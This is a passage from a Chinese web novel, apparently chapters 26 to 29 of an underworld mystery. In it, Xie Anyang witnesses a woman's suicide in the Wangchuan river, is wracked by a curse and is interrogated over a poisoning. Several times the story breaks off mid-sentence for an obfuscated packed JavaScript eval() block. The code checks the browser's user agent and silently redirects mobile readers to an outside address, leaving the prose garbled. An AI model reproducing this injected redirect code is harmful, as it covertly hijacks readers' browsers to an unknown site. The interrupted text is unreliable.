谢安阳当即大喝一声,“都愣着干什么,救人啊!” 旁边的男人摇摇头说:“兄弟,我们并非不想救她,可我们也怕忘川水啊,谁敢救……” “那是一条命啊!”谢安阳怒不可遏地打断。 男子嗤笑一声,不以为意:“大家已经死过一次了,哪还有命可言,就算是有命,难道我们的命就不是命了吗?” “就是啊,少道德绑架!” “有本事自己救去,就你在这里充好人!” 谢安阳急不可耐地说:“找地府的人,他们不怕!” 、 人们纷纷附和:“这里是花田,近来时常有人掉下去,少她一个不少,多她一个也不多,也没见过忘川府的人管管。” “她自己非要给人添麻烦,怪得了谁呢?” “就是就是,你有这废话的功夫,人已经救上来了。” 谢安阳觉得自己也是有病,竟然跟他们废这么多话。 眼见液体中的白色人形逐渐化作了黑红模糊的一团,他几乎想跳下去捞人了,可刚迈出一步,又被理智强行拉了回来。 他双手紧握成拳,眼睁睁看着那白裙下的肉身浮在无数的泡沫中,一点点化为焦黑的血团,污血染红了一片河水,又缓缓消散、直至褪色。 有个姑娘无奈地说:“已经来不及了。” 最开始说话的男人将谢安阳的一举一动看在眼里,不禁鄙夷地嘲讽:“自己也怕,还站着说话不腰疼。” “就是,早看他不惯了,成日仗着是枉死城的人来这里炫耀,一副高高在上的姿态,生怕别人不知道他来去自由。” 有个老头低喝了一声,“人都没了,少说两句吧。” 两人这才悻悻地闭嘴了。 气氛一时间有些尴尬,还是有个姑娘咳嗽一声,叹口气说:“可怜哦,听说她最近刚找到兄长,竟然会突然想不开。” 话题被转移,人们也纷纷附和起来:“你说的是何进吧,我早些时候就看到他跟何琬说了什么,何琬当场哭得那叫一个梨花带雨,何进还扇了她一耳光呢。” 谢安阳急促地转过身问:“那个人跟她说了什么?” “那谁知道?” “人来了,人来了,问吧问吧。”众人附和着,纷纷给一个青年让了道。 “琬儿!琬儿!”那是个身着汉服的年轻人,满面憔悴,脸已经腐烂了大半,整张脸上满是淤青色,眼中还郁郁的,也不知道死多少年了。 谢安阳就有些激动,上前揪住他的衣襟追问:“你跟何琬说了什么!?” “我说什么了,我是琬儿的哥哥,我怎么可能害她?”何进快急哭了,试着扯了两下,想将衣服扯回来,奈何力气不如人,又满脑子想着何琬,索性放弃了,直往忘川河里看。 河面那摊正在褪去污黑的血水,上面还漂浮着尚未消失殆尽的白裙布料。 何进愣了愣,随后竟捂着脸哭了出来,磕磕巴巴地说:“我、我不知她会想不开,她为何会想不开啊,她分明说过已经忘记了,不可能的,她定是被人推下去的。” 一旁立马有人接话说:“没人推她,我看到了,是她自己走进去的。” 谢安阳就急不可耐地问:“你到底说了什么!?” “我……”何进哭着说:“我只是告诉她真相罢了。” 谢安阳蹙眉问:“什么真相?” 何进捂着脸说:“她……是她的相公勒死的。” 背后有人唏嘘了一声,“那她还找什么相公?” 何进继续说:“琬儿是当世的才女,可那王八蛋从未看上过她,还嫌她读过书会招来麻烦。” 有人惊奇地问:“既是才女,不该被讨人喜欢么?” “就是,我听说她相公待她很好的。” 立马有个汉服男人附和说:“那不见得,男人最喜欢胸无点墨的女人,这样往往更好掌控。” 有个姑娘忍不了了,白他一眼,他立马委屈地说:“瞪我也没用,我当然知道大家都是人,甚至女子也能比男子更优秀,可问题是女人太过聪明就会看不上世俗,也不会让我们纳妾,更别说让她乖乖生孩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496509|170220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子了。” 姑娘冷笑一声,“就是不好骗了呗。” 姑娘脸色有些难看,男人继续说:“我知道你们这个朝代的女人很聪明,可是改变不了我们男人永远会抱有这种想法。” “就是,以前的皇帝还故意不让百姓读书,就是为了使百姓愚钝,他们想法就会很单纯,掌控起来也容易很多。” “歪理!”姑娘忍无可忍地骂:“你们自己思想腌臜龌龊,就以为全天下男人都同你们一个样,呸!” 谢安阳默默听他们吵半天,心中愈发愧疚,他当初要是发现一点端倪,或是让何琬跟韩先生一起走,或许她就不会死了。 他一句话也插不进去,他也不想插话,就看向何进,“到底怎么回事!?” 何进终于从悲痛中抬起头来,气急败坏地大骂:“那王八蛋娶她之前就到处拈花惹草,若非看她才名在外,能借此四处炫耀,他都不会跟她成亲,成亲后还嫌她家世不好。后来找了个妾室,一起合伙勒死了她!我把真相告诉她,她当时的确接受不了,可后来也答应过我会放下一切的……” 有人问:“那你怎么还扇她耳光了?” 何进这就不高兴了,“我苦口婆心是为了谁,一千多年了,她为了一个看不上她的男人变成这副鬼样子,我不打她,她能醒吗?” 谢安阳心中愧疚万分,仍在后悔没及时发现何琬的异常,却忽然感觉左臂一阵钻心的刺痛,甚至痛楚有意无意地往肩膀蔓延,他下意识捂住了胳膊。 有人察觉了,问:“安阳,你怎么了?” 谢安阳横何进一眼,何进满心愧疚地低下头说:“我不是故意告诉她真相的,我是看她寻了千年,不忍心看她一直被蒙在鼓里,我没想到她会想不开,我以为这样她就能放下执念去轮回的。” 谢安阳垂下眼,看向河面的衣裙残片也消失了,他身上的痛楚也加深了好几分,几乎要去捂太阳穴了。 何进继续絮絮叨叨:“那王八蛋太能骗了,成亲的时日温言细语,妾室也是瞒着她养在外面的,她最后落到这个下场,至死不知道自己是死于亲近之人的手,还寻了那王八蛋千年,我真的看不下去啊……” 他还没说完,谢安阳忽然捂住左肩、跌跌撞撞地走开了,步履匆匆,似乎有什么急事想要迫切离开。 26. 问心(十一) 夜深人静之时,院子里漆黑一片,街坊四邻都已经睡下了,他才敢掐着时间回家。他本有点担心自己会吓着小植,却没想到小植并不在家,也不知道被林朝带去哪玩了。 他无暇顾及这些,而是轻手轻脚地关好了房门,又手忙脚乱地脱下外套,扯下了左臂上的绑带。 意料中的是,他的整条手臂乃至肩膀都布满了青筋,那朵彼岸花原本是红色的,此刻正泛着淤青色。 痛楚早已蔓延到全身了,他几乎站不住脚,就连呼吸都滞痛无比,又难以抑制那份痛苦,他捂住彼岸花的地方,却还是没有任何缓解。 此时他的面容已布满细密的汗水,钻心的痛楚带着冰凉的感觉,连带整个身体控制不住地痉挛。 他怕再不做点什么会活生生疼死,却跌跌撞撞地撞到了桌子,手无端摸索到了一个茶杯,他几乎想要掀到地上去,可那一刹那突然想起四周的人已经安睡了,又飞快地抓住了杯子。 他最终跌坐到了地上,双目赤红,温热的液体从眼角流出来模糊了双眼,鼻间也堵得慌,伴随着一阵咳嗽,他咳了满手的血。 很奇怪,他分明没有哭。 他伸手胡乱地抹了一下,分不清血是从哪里来的,就用手背擦了一下眼角,果然看到手背上全是血。 他试探地用衣袖擦了擦鼻间,也是血。 他恍惚中看见周遭的景致变化了。 原本亮堂的房间缓步进入了幽暗中,远处响起了“吱吱”声,好几只老鼠在他面前乱窜,还有蚂蚁贪婪地吸食着地面的血迹。 他以为自己天不怕地不怕,其实还是很害怕这种小生物,下意识往后躲,却撞到背后潮湿的墙面。 恍惚中身侧多了道人影,头皮一紧,似乎有人抓住了他的头发,他还待挣扎,对方就着头发将他的头按到了墙面上。 他被撞得头晕目眩,眼瞳被鲜血模糊了,几乎看不见人,耳畔的声音浮浮沉沉,听不真切,是个男人的声音:“我妹妹死了,凭什么你还活得好好的!? 对方不顾他的疼痛迫使他抬起头来,还声嘶力竭地问他:“安阳,失去亲人的感受怎么样,你知道死在最好的朋友手上又是什么感觉吗?” 谢安阳听不懂他在说什么,已经认出了对方是谁,只感觉自己满身都是血,心中又惊又惧,就强撑着说:“杀人犯法,你这是故意伤害,要负刑事责任的,我们一起长大,有什么误会你说清楚,你别这样……” 他说到最后保住男人胳膊,情不自禁哭了出来,“我好疼,你送我医院吧,我不告你,求求你……” “你也配?”男人毫不留情地甩开他,恶狠狠地说:“蝼蚁就不配活吗?既然世道不公,地府也不公,你们都想逼死我,那我就做自己的道,安阳,就算是下一世,我也不会放过你!” “你说什么,什么地府?”地府是神话故事里的地方,现在是科学时代,哪来的地府,这家伙多半是精神病院里跑出来的吧。 男人继续嘶吼:“同样是背负人命,凭什么你能被地府优待,而我却不能轮回!?你到底凭什么你告诉我!?” 谢安阳脑海一片空白,就剩下一个念头:精神病杀人不犯法。 谢安阳不记得他有什么精神病史,只感觉更加恐惧,目光瞥到了大门处,极端恐惧之下,肾上腺素飙升,他突然有了气力,惊慌失措地向着那一点光亮爬。 不出意料,他被拽了回去,男人一脚踹在了他心口。这一脚踹实在了,他几乎喘不过气来,有气无力地求饶:“求求你,放过我,吴桉……” 直到吴桉一刀扎在他心口,他整个人都懵了,也可能是痛到极致,反而没什么知觉了,他的手无力的抬起,想去扒吴桉的手,可很快又垂了下去。 他好像耳鸣了,耳畔的声响忽大忽小,听不真切,恍惚间听到吴桉嘶喊:“去死吧,沈长鸣!” 生前身体太过虚弱,他其实没有听清这句话,现在总算明白了,吴桉在叫“沈长鸣”。 很快,他就从幻觉中挣扎出来了,眼前又是枉死城。 他很不甘心,不想就这样死于问心契,可是又不知道该怎么做,也许还有人能救他。 但他想了一想,又摇摇头——还是算了,那些人要是知道他身上有终身契,一样不会放过他,包括刘钦。 他不能坐以待毙。 他踉踉跄跄地站起身,翻找出一支钢笔,钢笔没有墨了,他颤抖着手,用一旁的辰砂颜料兑水加进去。就仿佛加进了血。 纸,他这里只有素描纸,没有信纸,但好像也没有素描纸了,全被他用了。 他来到里间,墙面上贴满了各种各样的人的素描像,男女老少都有,有的已经陈年松动,正伴随着窗外透进的微风翻飞。 他随手扯下一张素描像,回到书桌前写起了“遗书”——得把一切都记录下来,让刘钦看到,就当是给他个交代。 写完后,他麻木地望着被鲜红的颜料浸透的画纸,又琢磨起了身后事:小植……小植能进枉死城……他好像没有什么牵挂了。 若说他还有什么执念,那就是沈长鸣?沈长鸣做了什么,为什么被送去轮回的? 设计出忘川府的人,怎么会就这样被抹掉了存在,还有吴桉生前说的那堆鬼话是什么意思? 刘钦带着一堆人闯进来的时候,就看见谢安阳将自己团成一团,蹲在了一片杂物的角落里瑟瑟发抖。 他目光呆滞,双瞳发红地盯着某一处看。 刘钦来时还带有脾气,看到他这副样子,声气不禁弱了些,还让杨洵带着跟来的人守在外面。 刘钦试探地靠了过去,见谢安阳却没有反应,便开口说:“安阳,洪磊消亡了你知不知道?” 谢安阳满身狼狈,他缓缓地抬起头,却是愣了好半天,才捂住脸,烦躁地问:“哦?是吗?” 刘钦感到不可置信,“你不知道?” 谢安阳深吸一口气,“哥,你看一下我,我在枉死城,他魂魄怎么散的?我分身去踹的啊?” 刘钦忍着脾气解释:“有人给他喝了忘川里的生水。” 谢安阳平声静气地反问:“为什么不是他自己掉下去的?” 刘钦话音冷了下来,可能是怕惊动周围的人睡觉,就压低声音说:“有人用酒瓶装了忘川水让他喝下去的!” 谢安阳很是惊讶,“忘川水不是能溶万物么?” “溶不了玻璃!” 谢安阳笑了一声,嘲讽:“是吗?看来这个忘川水也不是绝对能溶万物的。” 刘钦则盯着他,想从他的微表情中看出端倪,一字一句地说:“那瓶酒是从你这里拿过去的。” “打住,你怀疑我?”谢安阳这就不高兴了。 “不然呢?”刘钦特意搬来旁边的小凳子坐到他面前,又没好气地说:“来,我听你狡辩。” 然而谢安阳沉默了很长时间,却突然一脸不可置信地摇摇头,口中喃喃自语:“不会的,他不会害我的,我那么信任他……” “你说谁?”刘钦察觉了不对,连忙追问:“你碰不了忘川水,这酒是谁给你的?” 杨洵在旁边提醒了一句,“那个酒瓶里残留的不是酒,而是忘川的生水。” 谢安阳却没有回应,继续摇头说“不可能,你骗我”之类的话。 刘钦似乎懂了,就问:“你是说,这酒本来是给你喝的?” “不可能,他不会害我!”谢安阳突然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496510|170220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 厉声大喝。 刘钦担心地望向门外,杨洵心虚地摆摆手,“放心,我带了隔音结界,他们听不到。” 刘钦不再忌惮,起身紧紧地攥住谢安阳的双肩,“安阳你说清楚,酒是你给洪磊他们的,这件事到底和你有没有关系!?” 谢安阳像是反应过来了,好一会才忍着脾气指了指自己,“大哥,你看看我,我去找韩先生他们喝酒,他们抢了我的酒,还把我打成这副鬼样子,谁知道后面加了什么乱七八糟的东西进去,这也能怪我头上?还是说,我会料到他抢我酒啊?” 刘钦打量着他浑身血污,脸上也有淤青,半信半疑地问:“当真不是你?” 谢安阳冷笑一声,“他们怕忘川水,我难道就不怕?” “那你说的他又是谁,谁不会害你,这酒到底是谁给你的!?”刘钦接着质问。 谢安阳却一反常态地抱着头,眼角已经有了泪,还低声哀求说:“你别逼我,求你了,刘钦,你让我静一静。” 刘钦慢慢松开手,“你怎么了?” 谢安阳不说话了。 刘钦扫了几眼地上的杂物,又将目光落到墙上的素描画像。 以前就听谢安阳说过他会给花田的人画像,没想到他竟然画了这么多,还一一贴到了墙上。 有一说一,可能是考虑到花田的人已经死过一次了,这些黑白素描像就给人一种遗像的错觉,看着是真瘆得慌。 重要的是,这些画像手法一般,看样子像是学得不久。 刘钦这样想着,就忍不住问:“你这素描是跟谁学的?” 谢安阳飞快地接了一句,“花田的人。” 刘钦疑心不减,“你怎么不画枉死城的人?” 谢安阳淡漠地笑出一声,“他们又不是花田的人没有归处,我画他们干嘛?” “哦。”刘钦也不知道在想什么,目光被角落的大纸团吸引了,外观是黑白的铅笔轮廓线,应该是一张素描画像,可背面却隐约透出密密麻麻的红痕,像是沾了什么东西,又像是写了字。 刘钦问:“你身上怎么这么多血?”从窥镜的显像来看,他觉得那俩人下手没这么重。 谢安阳抹了一下眼角,低声说:“想什么,这是辰砂做的颜料,像不像真的?” “……” 空气中弥漫着淡淡的血腥气味,谢安阳身上的确有从花田带来的血,还带有不少淤泥,没什么好说的。 刘钦一步步走近了,想捡起那个纸团,却突然听谢安阳哽咽了一声,“何婉没了。” 刘钦脚步一顿,问:“你怎么知道的?” 谢安阳泪眼汪汪地望着他,“她是花田的姑娘,我眼睁睁看到她被忘川水溶化成脓血,却不能为她做什么。” 刘钦心软了,想着那玩意可能是谢安阳的废稿,就没再多心,烦躁地说:“大男人哭鼻子多难看,赶紧洗把脸,跟我去一趟忘川府。” “为什么?” 刘钦说:“洪磊他们几个同时喝忘川水消亡了,再加上自杀的何琬,这次事儿大了,你得来忘川府协助我。” 谢安阳愣了一会,倒是出乎意料地应下了,“你先出去,我换身衣服就来。” 等刘钦离开后,他又扒拉开自己胳膊的绑带,上面的青筋已经消退,彼岸花再次变成了红色。 他愣了好一会,一直在想一个问题:这次问心契生效,究竟是因为何琬愧疚而生效,还是因为洪磊之死? 何琬的死本就与他无关,若是因为何琬,那所谓问心契生效的条件就是问心有愧。 若是因为洪磊,也就是说哪怕没有亲自动手,这个问心契也会生效。 他得找个合适的人再试一试问心契。 27. 攻心(一) 刘钦等人就候在院门口,那感觉相神奇,就像是怕他跑掉一样。 谢安阳慢吞吞来到老槐树下,忽而听到上方传来一阵窸窸窣窣声,他下意识抬起头,就看见林朝正窝在槐花簇中冲他招手,也不怕被槐树满身的刺扎到。 谢安阳眉头一皱:“大晚上做贼呢?” 林朝却做了个噤声动作,目光示意外面的刘钦。 谢安阳很不情愿地走到树下,随后摊开双臂,没好气地说:“滚下来,老子接你。” 林朝喜上眉梢,正准备一跃而下,却在这时,门口突然传来一声暴喝:“姓谢的,你磨蹭什么!?” 谢安阳默默地收回手,微笑着用口型说:“好好待上面吧。” 林朝:“……” 刘钦似乎在杨洵讨论着什么,谢安阳走到近前,就听见刘钦故意问:“南园的地牢还有空床位没?” 杨洵感到不解:“怎么了?” 刘钦沉声说:“给谢安阳安排个住处。” 杨洵:“……” 谢安阳幽幽地从他俩身后飘上前:“老子又不是犯人。” 刘钦见怪不怪:“有区别吗?” 谢安阳极力解释:“我说过了,洪磊的死与我无关!” 刘钦却冷笑一声:“几天前你刚和洪磊发生过冲突,转眼他人就没了,你说你没有动机杀他?” 谢安阳也觉得他这逻辑驴唇不对马嘴:“这三年我可没少坑过你,还老顺你巧克力,怎么没见你杀我?” 杨洵就忍不住插了一句,“不见得,我就老听到掌事对你喊打喊杀。” 刘钦却没在意他俩的气话,冷冷地警告说:“我再问一遍,你的素描到底是跟谁学的?” 谢安阳说:“我说过是花田的人,你还没完了?” 刚才是怕吵到别人休息,刘钦才忍着没有大声嚷嚷,等待离开院子,刘钦就不忍了,“来来来,我教你,你直接说是花田中已经消亡的人教你的,死无对证、逻辑闭环。” 谢安阳还没来得及说什么,就听刘钦话音一转,没好气地吼道:“你还不如说是王鹤青。” 谢安阳欲言又止。 刘钦火气实在压不住:“安阳,你要是真掺和这些乱七八糟的事,引火上身谁都保不了你,你以为你是谁,一个枉死城的普通人,仗着城主的纵容,把忘川府和往生殿当家,我也没说过你什么……” “你明明老说我!”谢安阳故意打断。 刘钦瞪他一眼,“少打岔,总之你再惹事生非,我也保不住你!” 谢安阳气不过他动不动就吼人,抄跟着抱怨:“我用得着你保?” 刘钦:“……你!” 杨洵在旁边唯唯诺诺,想劝又不是,不劝又不是。 谢安阳则琢磨起了别的:回想起来有点莫名其妙,刘钦为什么总抓着他会素描不放? 他忽然想起刚才鬼鬼祟祟跟他招手的林朝——看样子林朝似乎有话要说,还得避着刘钦,而小植并不在。 对了,天植人呢? 不出意料的话,出意外了。 最底层的逻辑:忘川水并非绝对能清除记忆,枉死城的人多半还记得生前的部分记忆,否则怎么可能像人间那样生活?大大方方承认自己学过美术就好,何必找那么理由搪塞。 谢安阳当即举手说:“我生前学过美术,现在还记得一星半点。” “那你为什么撒谎?” 谢安阳骂骂咧咧地抱怨:“我要是实话实说,你又得贬我。” 果不其然,他话音刚落,刘钦张口就贬:“你学过美术,还能画成那副鬼样子?” “很难看吗?” “你觉得很好看吗?外行一眼叫绝,内行一看狗屁不通!” 这话说得真难听。 谢安阳心里也有怨气,“生前记忆太模糊了,我就记得一星半点。” “这种肌肉记忆你也能忘?” 谢安阳无话可说,默默地跟在众人身后。 刘钦察觉谢安阳脚步慢下来,大有将自己往人堆里藏的意思,估摸着并不想跟他吵,他也不太高兴了,就把谢安阳拎出来,“还有什么没说的,是我带你去忘川府逼供,还是现在老实交代?” 谢安阳顺口接了话:“有个事,得跟你说清楚,不然回头你又说我瞒你——我发现小植能进枉死城。” 刘钦表情没有任何变化。 谢安阳说:“我昨晚才知道她能进枉死城的,之前并不知晓。” 刘钦没说信与不信,“然后呢?” 谢安阳收敛了吊儿郎当,一本正经地说:“我怀疑花田里很多人是被拽进去的,小植绝不会是个例,你得帮帮那些人。” 刘钦不吱声了,埋头走在前面。 “你不管了??” 刘钦却一脸古怪地盯了他一会,才说:“听城主说要送你去轮回,正好,我有个朋友这一世轮回在成都。” 谢安阳:“?” “乐山的大佛坐镇多年不易,等你轮回时遇到他,记得让他带你去换个班。” “……” 谢安阳:“我认真的。” 几人一齐踏出枉死城边界,刘钦却带头朝着西园的方向而去,一边走一边问:“你知道花田有多少人吗?” “从古至今累加,应该有几万人吧?” “挨个排查的工作量有多大?” 谢安阳感到不可置信,“那你就准备袖手旁观?何况这个事情难道不是你们忘川府失职?” 刘钦恨铁不成钢,耐心解释说:“这事儿得上报地府,让他们来处理。忘川府人手不够,花田一旦因此发生暴乱,根本镇压不住。” “怎么就会暴乱了?” 刘钦不想说话,瞥杨洵一眼。 杨洵心说“又是我”,感到很无奈,耐心地走上前解释说:“能进枉死城的人记忆丧失程度极大,多半都不知道自己能否进枉死城,一旦让花田的人知道这件事,难保会有人争先恐后报到,假装自己忘记了生前旧事,人多了处理起来很麻烦。再说忘川府平时琐事繁多,没有多余的精力和人手,只能先上报地府,等上面派人来协助处理。” 谢安阳沉默了半晌,刘钦又追问:“还有呢?” 谢安阳:“还有什么?” 杨洵同情地看谢安阳一眼。 谢安阳想到了天植,心里隐隐感到不安,却还是嘴硬地问:“就这些,你还想知道什么?” “不见棺材不落泪是吧?” 刘钦没再说什么,领着他们去了西园。 谢安阳问:“去西园干嘛?” 刘钦:“带你见棺材。” “……”纯纯有病。 明庭正在整理卷宗,看三人大摇大摆闯进来,不禁吓得手抖,“你们怎么来了?” 刘钦开门见山:“明叔,南园刚刚是不是送来了一份新人卷宗?” 明庭点了点头,“是个小姑娘,我去找给你。” 杨洵默默地带人将候在西园的工作人员轰了出去,随后偌大的大堂就剩下四个人。 明庭将卷宗递给刘钦,又看向谢安阳:“你又惹祸了?” 谢安阳捂着脸,“哪有,是刘钦疑心病又犯了。” 明庭就不太相信他,还叹息一声,猜测刘钦想把西园作为审讯室,便默默地问刘钦:“那我先出去,你们聊?” 刘钦却说:“明叔,一会还得麻烦你一下。” 明庭不好说什么,只好“哎”了一声,继续核对整理他的卷宗。 谢安阳就不客气地找了个位置坐下,想看看刘钦葫芦里卖的是酒还是毒。 刘钦抱着卷宗坐到谢安阳对面,“再问最后一次,你为什么偏偏把谢天植带进忘川府?” 谢安阳眉目凝了一下,“你不信我?我一早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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谢安阳这才攥着手,继续等着刘钦的下文。 其实不必杨洵解释,他都知道刘钦不会连坐别人,也不可能受害无辜,更别说小植能进枉死城,刘钦肯定会安排好她的,所以才有了这份卷宗。 刘钦眸光微凝,忽然对杨洵说:“帮我把谢安阳的档案找出来。” 杨洵应声:“好。” 明庭听到了,忍不住插话说:“阳儿的档案不在忘川府,之前被城主拿走咯。” 刘钦:“?” 谢安阳:“他拿我档案干嘛?” 明庭说:“阳儿是城主候选人,档案不能放在这里。” 刘钦就不太想看谢安阳得意,便去明庭那里找了份空档案纸和钢笔,“正好,新建一份现成的。” 谢安阳:“?” 刘钦:“我问一句你答一句,敢骗我你就完了。” 谢安阳可能是心虚,犹豫了一下,“你到底想干什么?” 刘钦却用钢笔敲敲桌面,“姓名!” 谢安阳就不太爽,“你不知道?” 刘钦白他一眼,又重复了一遍,“姓名!” 看他准备抄录,谢安阳也有点烦躁,“谢安阳!” “性别?” 谢安阳觉得他脑子有问题:“……你慢慢玩吧,爷不想陪你了。” 然而他刚起身,又被杨洵按了下去。 明庭欲言又止,最终只得劝说杨洵:“轻点轻点,阳儿毕竟是枉死城的人。” “……” 刘钦:“年龄。” 谢安阳咬牙切齿:“二十一。” 刘钦凑上前端详了他一阵,“你年纪有这么轻?” “我要跟城主说你瞎问还阴阳怪气!” “生前籍地?” “……成都。” 刘钦一拍桌案,横眉冷对:“我认真问你,你别偷我话。” 谢安阳:“……爱信不信。” 还是明庭又好心插了一句,“我看过阳儿的档案,他上一世的确轮回在成都。” 刘钦却犯起了嘀咕,“怎么会这么巧?” 谢安阳伸手在他眼前晃了晃,“什么巧,你说清楚。” 28. 攻心(二) 刘钦打开谢安阳的手,谢安阳就不太耐烦了,“你有这空闲审我,还不如查查花田的凶手。” 总结来说,花田有三大命案:第一是不时有人掉下忘川被溶化,第二是终身契反噬消亡案,第三则是洪磊和何琬之死。 杨洵答话说:“这事儿已经有眉目了,近来南园在抓人,不用你操心。” 刘钦则继续盯着他:“洪磊之死你嫌疑最大。” 谢安阳骂骂咧咧:“你脑子被驴踢了?他们怕忘川水,我难道就不怕?” “那你成天跑去花田,也没见你怕,我看你是生怕凶手没把你推进忘川吧?” “老子会怕他?” “谢安阳啊谢安阳,你的嘴怎么能这么硬?” “你担心的究竟是我……”不行这话听起来太奇怪了,他强行改了口:“你担心的是候选人吧。” 刘钦:“我告诉你,事情没查清楚之前,你最好给我待在枉死城,再去花田,我直接把你扔进忘川一了百了!” 谢安阳觉得刘钦真的有病,“我要去找城主说理。” “你去,他老人家去地府界内了,没有十天半个月回不来,现在枉死城是老子做主!” “不对,我才是太子,那老东西怎么能让你做主!” 刘钦冷笑一声。 “城主什么时候回来?” “就算城主回来,也不会给你撑腰!” 谢安阳冷哼一声,不想说话了。 这俩人的嗓门在空旷的大堂里显得格外响亮,杨洵听得耳根子疼,又插不进去话,就默默在旁边倒茶喝。 刘钦的钢笔在指尖转了个圈,又一脸严肃地问:“还有个问题,你为什么要跟花田里的人混这么熟?” 之前解释过那么多,合着他一句也不信? 谢安阳忍了半天,才勉强心平气和地说:“可能是因为……没见过这么多朝代的人吧,枉死城里都是现代的人,最老的一辈就是经历过抗战的老人,而花田从古汇集至今,各个朝代的人都有,我觉得有趣。” “仅仅是这样?” 谢安阳单手揉着太阳穴,低声说:“也可能是因为同情他们,或是说……感同身受?又或许是一时兴起吧。” “那何琬呢?” “何琬跳忘川了,她寻觅了夫君千年,才得知那个人根本没看上她……”谢安阳顿了好一会,又叹口气,目光空洞地盯着手指,“我本来能救她的,可我犹豫了……眼睁睁看她化为血沫、最终消失,我什么也做不了,你知道吗,不是做不了,而是不能做!你说我要是不怕忘川水就好了,我水性那么好,肯定能救她的。” 谢安阳说到最后情不自禁哽咽了一声,可能是觉得丢人,又抬手捂住脸,埋着头不吭声了。 “酒呢,又是谁给你的?” 谢安阳愣了愣,缓缓放下手,古怪地看他一眼,似乎不知道该如何回答。 刘钦继续说:“你最好给我交代清楚到底是谁给你的酒。哪个狐狸精把你魂都勾走了,你自身难保还不忘替他打掩护呢?” 杨洵有些忍俊不禁,只能默默捂着脸,强忍着没笑出声来。 谢安阳:“……” 谢安阳沉默好几分钟,刘钦也不催他,等他想清楚了,才抬起头来,认真地一字一句说:“刘钦,你给我一点时间,我会给你个交代。” 刘钦:“你还想干什么?” 谢安阳心平气和地说:“有个逻辑说不通,凶手把忘川水装进瓶子太麻烦了,他何不直接将人推进忘川?这人多半不怕忘川水,否则将人推下去一了百了,简单又省事,还不会留下破绽,怎么会巴巴地留着瓶子给你们查?” 刘钦未置一词。因为谢安阳说得在理,如果是他做的,直接把人推下忘川是最好的方式,还用得着引忘川府的人来怀疑他?? 谢安阳说:“这件事我也没有搞清楚,等我弄明白来龙去脉,我会给你个交代。” 刘钦的语气总算缓和了,“你要多久?” 谢安阳琢磨了一会,认真说:“至多三天。” 刘钦犹豫了很久,还是应下了,“好,就给你三天,你要是给不出说法,往后就老实待在枉死城,这事儿不查清楚,你哪也别想去。” 谢安阳隐忍着未发作,只是问:“还有小植……真的是我妹妹吗?” 杨洵说:“本来我们是去找你的,没想到你不在,还看到了天植,掌事觉得这事儿不对,就带她去了北园一趟,却想不到她的名字真的显现在了石碑上,放心吧,往后她可以待在枉死城生活了,静候北园为她安排住处就好。” 谢安阳看向刘钦,见他臭脸还没有缓和,便不想管他,就问:“我能回去了吗?我该去找小植了。” 刘钦却忽然转向明庭问:“对了明叔,城主是什么时候拿走谢安阳档案的?” 明庭说:“你来晚了,前些天刚带走,就是正式让安阳当候选人那天。” 刘钦总算想起来这回事——合着那天郑康手里的档案是谢安阳的。 而谢安阳也是眸色微沉。郑康拿他的档案能做什么?档案里无非是记录姓名、年龄、籍贯、家属、死因等等内容,其实也算另类户口,并不算多重要吧。 刘钦问:“你生前当真轮回在成都?” 谢安阳点点头,“我骗你没什么意义。” 刘钦未置 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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明庭并未生疑,默默地去找了块令牌,看起来有点像证件,他顺手递给谢安阳,又温声嘱咐:“不要乱翻,看了记得放回去。” “好,多谢。” 他拿着明庭的令牌,却在大门站了许久,瞥见明庭继续校对他的文书,无暇他顾,就将令牌抵按在大门上。 下一秒,他听见猫头鹰尖着嗓子打了声招呼,“你好,明庭!” 他犹豫了一下,余光觑着明庭的动向,放下了令牌,试着抬手,掌心朝着门心一按,就听猫头鹰再次说:“你好,沈长鸣!” 29. 攻心(三) 谢安阳也不知道在思虑什么,漫无目的地在花田石道,手中无意识把玩着一支银簪,在遍野荧光的映照下,银簪上的茉莉花正泛着寒光。 他又回到了何琬出事的地方,所有人都散了,倒没想到茴香豆和何进竟还守在忘川河畔。 河水清澈见底,就连血腥也消散了,就像是从未起过波澜。 “来了?”茴香豆打了声招呼,随后又问:“韩老头轮回去了吗?” 谢安阳淡声回答:“应该吧,回头我问问杨洵。” 何进害怕忘川水,远远地候在一旁,谢安阳犹豫了一会,走过去拍了拍他的肩膀,“节哀。” 何进哽咽了一声,“我听他们说,她跳忘川前找了你,你们到底说了什么,才让她决心跳下去的?” “怎么不是你对她做了什么?”谢安阳轻笑了一声,不答反问:“你到底是她什么人?” 何进迟疑了一下,“我说过了,我是琬儿兄长。” “哦,是吗?” 相识千年的哥哥,还不如他谢安阳一个陌生人吗? 何琬离开前,把身上唯一的信物交给了谢安阳一个陌生人,而不是给重逢的哥哥,这合理吗? 